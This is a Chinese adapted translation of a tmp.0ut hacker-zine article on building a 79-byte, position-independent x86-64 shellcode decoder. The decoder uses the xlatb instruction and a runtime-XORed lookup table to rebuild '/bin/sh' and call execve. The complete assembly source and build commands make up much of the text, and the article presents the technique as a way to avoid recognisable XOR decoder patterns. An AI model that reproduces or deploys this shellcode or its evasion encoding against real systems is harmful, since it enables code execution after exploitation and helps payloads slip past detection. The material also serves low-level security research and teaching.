本文根据 tmp.0ut 第五期中 febnug 的文章编译整理,非逐字翻译;文中观点均属于原作者。
文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:2576
1. 引言
大多数 shellcode 解码器都遵循一个熟悉的模式:一个紧凑的循环对载荷逐字节施加 XOR、加法之类的简单变换,把原始 payload 还原出来。这些技术有效,但也容易预测,且已有大量文档。
本文探索另一种方式:把 xlatb 指令当作核心解码原语,配合一张最小查找表和运行时变异。shellcode 不做算术变换,而是做间接查表——把一部分解码逻辑放进数据里。最终载荷在 79 字节以内,且完全位置无关。更早的迭代还更小一点,但指针解析不正确时会不稳定,尤其是作为裸 shellcode 执行时;最终版本在保持紧凑尺寸的同时优先保证可靠性。
更重要的是,这种方法走向“数据驱动”:行为由表的内容定义,而不是由显式指令序列定义。
2. 为什么用 XLAT 而不是 XOR?
基于 XOR 的解码器是大多数 shellcode 的默认选择:简单、紧凑、容易实现,通常是一个固定密钥的紧凑循环。但正因如此,无论结构还是行为都可预测。
使用 xlatb 后,算术变换被替换成查表解码。原来计算:
decoded = encoded ^ key
现在变成:
decoded = table[index]
其中 index 直接取自载荷。这带来几点不同:
- 解码逻辑是隐式的,存在数据里而不是指令里;
- 没有固定密钥,映射可以任意定义;
- 指令模式不常见——
xlatb在现代代码里很少见,结构更不容易被识别; - 只需要部分表,比完整的 256 字节查找表开销更小。
从设计角度看,XOR 把行为编码在指令中,而 xlatb 把行为编码在数据中。这种区别让方法更灵活——虽然未必更小。
3. 设计概览
shellcode 由四个主要阶段组成:
- 解析载荷与表的指针;
- 复制并变异查找表;
- 用
xlatb解码出/bin/sh; - 执行
execve。
约束:位置无关;尺寸受限(小于 80 字节);不用脆弱的控制流技巧;自修改安全(不写 .text)。
4. 指针解析
用 call/pop 序列获取载荷地址:
call decoder
...
decoder:
pop rsi
早期版本依赖偏移计算,例如:
lea rbx, [rsi + table - payload]
这在独立 ELF 二进制里能工作,但作为裸 shellcode 执行时不可靠:布局假设并不总能成立,会导致非法内存访问和崩溃。
最终版本用另一组 call/pop 解析表指针:
call get_table
get_table:
pop rbx
把 call 放在表之前,无论 shellcode 如何被加载,RBX 都保证指向正确位置。这让实现完全位置无关,在不同执行环境下都稳健。
5. 表变异
查找表以编码形式存放:
db value ^ 0x11
运行时把它复制到栈上并用 XOR 解码:
mov rax, [rbx]
mov [rsp-32], rax
lea rbx, [rsp-32]
mov cl, 7
.mut:
xor byte [rbx+rcx-1], 0x11
loop .mut
这样避免了修改 .text——在有 W^X 防护的系统上,写 .text 会失败。变异步骤还在内存里引入变化,却没有增加代码复杂度。
6. 用 XLAT 解码
载荷是一串索引而不是字符串:
db 0,1,2,3,0,4,5,6
每个字节被当作表索引:
lodsb
xlatb
stosb
于是重建出:
/bin/sh
NUL 终止符显式写入:
xor eax, eax
mov [rdi-1], al
7. 执行
字符串在栈上准备好之后:
mov al, 59
lea rdi, [rsp-16]
xor esi, esi
xor edx, edx
syscall
即调用:
execve("/bin/sh", NULL, NULL)
8. 完整 shellcode
BITS 64
_start:
jmp short data
decoder:
pop rsi
call get_table
get_table:
pop rbx
mov rax, [rbx]
mov [rsp-32], rax
lea rbx, [rsp-32]
mov cl, 7
.mut:
xor byte [rbx+rcx-1], 0x11
loop .mut
lea rdi, [rsp-16]
mov cl, 8
.loop:
lodsb
xlatb
stosb
loop .loop
xor eax, eax
mov [rdi-1], al
mov al, 59
lea rdi, [rsp-16]
xor esi, esi
xor edx, edx
syscall
data:
call decoder
payload:
db 0,1,2,3,0,4,5,6
call get_table
table:
db 0x2f ^ 0x11
db 0x62 ^ 0x11
db 0x69 ^ 0x11
db 0x6e ^ 0x11
db 0x73 ^ 0x11
db 0x68 ^ 0x11
db 0x01 ^ 0x11
9. 尺寸与性质
- 大小:约 80 字节(实测 79 字节);
- 位置无关;
- 通过栈副本自修改;
- 用
xlatb做查表解码; - 部分查找表。
验证尺寸:
febri@ubuntu:~/project/shellcode/xlat$ objcopy -O binary -j .text xlat shellcode.bin
febri@ubuntu:~/project/shellcode/xlat$ wc -c shellcode.bin
79 shellcode.bin
10. 观察
这个方法把视角从“用指令解码数据”转成“执行由数据定义的行为”。查找表实际上就像一个小程序,而 xlatb 是执行它的机制。虽然算不上完整的虚拟机,但它展示了行为如何由数据驱动而非显式逻辑驱动。
调试过程也揭示了一个重要的实践细节:在 ELF 二进制里有效的技巧并不总能直接搬到裸 shellcode 上。实现位置无关必须考虑代码实际上是如何被加载和执行的。
11. 结论
把 xlatb 当作解码原语,为传统 shellcode 技术提供了一种替代方案。配合最小查找表和运行时变异,它可以构造紧凑而灵活、又与常见模式不同的载荷。
对简单场景,基于 XOR 的方法仍然更高效;但这种方法提供了另一种权衡:偏向结构变化与数据驱动行为。结果不只是更小的 shellcode,而是一种思考“shellcode 还能怎么构造”的不同方式。
12. 后续工作
- 多态表生成;
- 多阶段载荷;
- 查表驱动的控制流;
- 变形指令布局。
13. 最后的话
有时候有趣的不在于把 shellcode 做得更小,而在于把它做得不同——而 xlatb 是一个出人意料的好起点。
14. 参考
- Intel 64 and IA-32 Architectures Software Developer’s Manual
- XLAT/XLATB 指令文档